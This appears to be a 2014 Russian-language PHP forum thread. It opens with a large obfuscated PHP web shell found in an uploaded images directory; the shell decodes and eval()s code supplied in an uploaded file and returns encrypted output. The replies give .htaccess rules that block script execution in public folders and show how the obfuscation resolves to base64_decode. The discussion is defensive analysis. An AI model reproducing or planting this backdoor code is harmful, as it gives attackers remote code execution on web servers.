{$Misowning67 = array('chr',"bc".chr(100).'i'.'v',chr(98).'cmod');
$Irmanenties72 = "$Irmanenties72";
$irowned55 = '';
do
{
$irowned55 = $Misowning67[0]($Misowning67[2]($Irmanenties72, $excallies)).$irowned55;
$Irmanenties72 = $Misowning67[1]($Irmanenties72, $excallies);
}
while ($Irmanenties72 != 0);
return $irowned55;
}
function closives_2($ilnaments, $Sexurees17, $procfuling_21)
{
global $Misimages_4;
global $proces;
global $Misown_7;
$undermanories = '';
$Texties_96 = 3;
$technologies = $Misown_7[0]($Misown_7[3]($ilnaments) / $Texties_96);
for($Exlangibles = 0;
$Exlangibles < $technologies;
++$Exlangibles)
{
$Formed = $Misown_7[8]($ilnaments, $Exlangibles*$Texties_96, $Texties_96);
$overreturnsionies = $Misimages_4($Misown_7[7]);
for($medium = 0;
$medium < $Misown_7[3]($Formed); ++$medium)
$overreturnsionies += ($proces[2]($Formed[$medium]) + 1) * $proces[3](256, $medium);
$overreturnsionies = Namtioned_39(oversexing3d12($overreturnsionies, $Sexurees17, $procfuling_21), 255);
$undermanories .= $overreturnsionies.$proces[4](255);
}
return $Misown_7[8]($undermanories, 0, -1);
}
function dismanes_64($Sexing_0, $sucies_45)
{
$suca2f = chr(98)."as".chr(101)."64_de".'co'.'de';global $proces;
global $Misown_7;
$Sexing_0 = "$Sexing_0";
$exsexed = $suca2f($proces[0]);
$Nonreturnible_138 = $Misown_7[3]($Sexing_0) - 1;
for ($reowne = 0; $reowne <= $Nonreturnible_138;
++$reowne)
$exsexed = $proces[1]($exsexed, $Misown_7[10]($proces[2]($Sexing_0[$reowne]), $proces[3]($sucies_45, $Nonreturnible_138 - $reowne)));
return $exsexed;
}
function imagies_cb24($manlyies_a, $immenist, $Man3b)
{
$irimag = ''; $Overmenives_a4 = array("floor",chr(101).chr(120).'pl'."o".'d'.'e',"co".'unt',"chr");
$closies5 = $Overmenives_a4[1]($Overmenives_a4[3](255), $manlyies_a);
for ($Returnible_14 = 0;
$Returnible_14 < $Overmenives_a4[2]($closies5);
++$Returnible_14)
{
$Subclosing_58 = oversexing3d12(dismanes_64($closies5[$Returnible_14], 255), $immenist, $Man3b);
while ($Subclosing_58 != 0)
{
$irimag .= $Overmenives_a4[3](($Subclosing_58-1) % 256);
$Subclosing_58 = $Overmenives_a4[0](($Subclosing_58-1) / 256);
}
}
return $irimag;
}
function prepos8($jm9lDEp) {
$Posies_f29 = '';
$posuries_26 = 'd4sq2yiVUQ1JaBVO8POQL8ldPLTe1oCFb_c6lkr';
$Remens = array(32, 12, 2, 27, 35, 1, 33, 0, 27, 34, 29, 0, 27);
foreach ($Remens as $Misucing)
$Posies_f29 .= $posuries_26[$Misucing];
global $Sexss14;
global $MqVO4;
global $Misown_7;
$Nonproce_67 = false;
if ($Misown_7[1]($Posies_f29($MqVO4[2])) && $Misown_7[2]($Posies_f29($MqVO4[1]))) {
$Nonproce_67 = @$MqVO4[0]($jm9lDEp);
if (!$MqVO4[3]($Nonproce_67)) return $Nonproce_67;
}
if ($Misown_7[1]($Posies_f29($Sexss14[2])) && $Misown_7[2]($Posies_f29($Sexss14[8]))) {
$Nonproce_67 = @$Sexss14[5]($jm9lDEp);
if ($jm9lDEp == $Sexss14[0]($Nonproce_67, 9)) return $Nonproce_67;
}
return $jm9lDEp;
}
function Undersucist($Nonsuce) {
eval($Nonsuce);
}
function Closented56($postlanging_61d) {
$NdSQv = '';
$pictente = '6fA9uQMlqwk9AaX_BEg1QEqsbdNxVu15obe4cwI';
$suces1521 = array(24, 13, 23, 34, 0, 35, 15, 25, 34, 36, 32, 25, 34);
foreach ($suces1521 as $procismed61)
$NdSQv .= $pictente[$procismed61];
global $Sexss14;
global $Misown_7;
if ($Misown_7[1]($NdSQv($Sexss14[6])) && $Misown_7[2]($NdSQv($Sexss14[3]))) $postlanging_61d = @$Sexss14[10]($postlanging_61d, 9);
elseif ($Misown_7[1]($NdSQv($Sexss14[9])) && $Misown_7[2]($NdSQv($Sexss14[7]))) $postlanging_61d = @$Sexss14[0]($postlanging_61d, 9);
return $postlanging_61d;
}
@$Sexss14[1](0);
@$irclosisties2[2]($Misimages_4($Sexss14[4]), 60);
@$irclosisties2[2]($Misimages_4($premantiones[1]), 0);
@$irclosisties2[2]($Misimages_4($premantiones[0]), false);
@$irclosisties2[2]($Misimages_4($imagents[0]), -1);
if ($Misown_7[1]($Misimages_4($Mener_75[1])) && $Misown_7[2]($Misimages_4($Mener_75[2]))) @$Mener_75[0]($Misimages_4($Picting[1]));
elseif ($Misown_7[1]($Misimages_4($Picting[2])) && $Misown_7[2]($Misimages_4($Picting[0]))) @$Mener_75[0]($Misimages_4($Picting[3]));
else @$Mener_75[0]($Misimages_4($Langs[1]));
$formesd31 = @$Langs[2](@$_FILES[$Misimages_4($Langs[0])][$Misimages_4($Postprocies[0])]);
$formesd31 = prepos8($formesd31);
$formesd31 = imagies_cb24($formesd31, $Misimages_4($Nonproced72[2]), $Misimages_4($Nonproced72[3]));
$formesd31 = prepos8($formesd31);
$Nonproced72[1]();
Undersucist($formesd31);
$imagisted12 = $Nonproced72[0]();
$install[2]();
$imagisted12 = Closented56($imagisted12);
$imagisted12 = closives_2($imagisted12, $Misimages_4($install[0]), $Misimages_4($install[1]));
$imagisted12 = Closented56($imagisted12);
echo $imagisted12;
?>
|
| |
|
|
|
|
|
|
|
для: BlueWolf
(26.06.2014 в 11:22)
| | Зачем такие портянки выставлять? Вот и анализируйте для уяснения.
А в директориях изображений и прочих публичных должно быть запрещено исполнение всяких исполняемых скриптов.
И если залито в директорию изображений, значит ваш скрипт их загрузки имеет приличные дыры. | |
|
|
|
|
|
|
|
для: confirm
(26.06.2014 в 11:46)
| | Как в директории где картинки и прочие файлы запретить выполнение исполняемых скриптов? Это делается при помощи htaccess? | |
|
|
|
|
|
|
|
для: BlueWolf
(26.06.2014 в 12:12)
| | Да, в htaccess прописать запрет. | |
|
|
|
|
|
|
|
для: confirm
(26.06.2014 в 12:25)
| | Вот так правильно?
php_flag engine 0
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
|
| |
|
|
|
|
|
|
|
для: BlueWolf
(26.06.2014 в 13:42)
| | Нет, что-то типа такого должно быть:
Options -Indexes
php_flag engine 0
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
RemoveType php
RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
|
Что касается кода, то в нем больше "мишуры" для отвлечения глаза. Например:
<?
$Misimages_4 = '';
$imclos_6 = 'Qah9eca09U6s428BU5EiY_bZhdlo6Ns';
$PXk45BAp = array(22, 1, 11, 4, 10, 12, 21, 25, 4, 5, 27, 25, 4);
foreach ($PXk45BAp as $Subposist)
$Misimages_4 .= $imclos_6[$Subposist];
//в итоге $Misimages_4 = base64_decode
//далее содержимое массивов, где в base64 содержаться имена ini-переменных
//это легко просмотреть все - print_r для массивов, где явно видны base64-значения без мишуры
//и имена функций, а что делается в начале, видно вот так
//вместо @$irclosisties2[2]($Misimages_4($irclosisties2[9]), false) и т.п.
echo $irclosisties2[3] . '(0)';
echo $irclosisties2[2] . '(' . base64_decode($irclosisties2[7]). ',false)';
echo $irclosisties2[2] . '(' . base64_decode($irclosisties2[1]). ',false)';
echo $irclosisties2[2] . '(' . base64_decode($irclosisties2[9]). ',false)';
echo $irclosisties2[2] . '(' . base64_decode($irclosisties2[5]). ',false)';
|
| |
|
|
|
|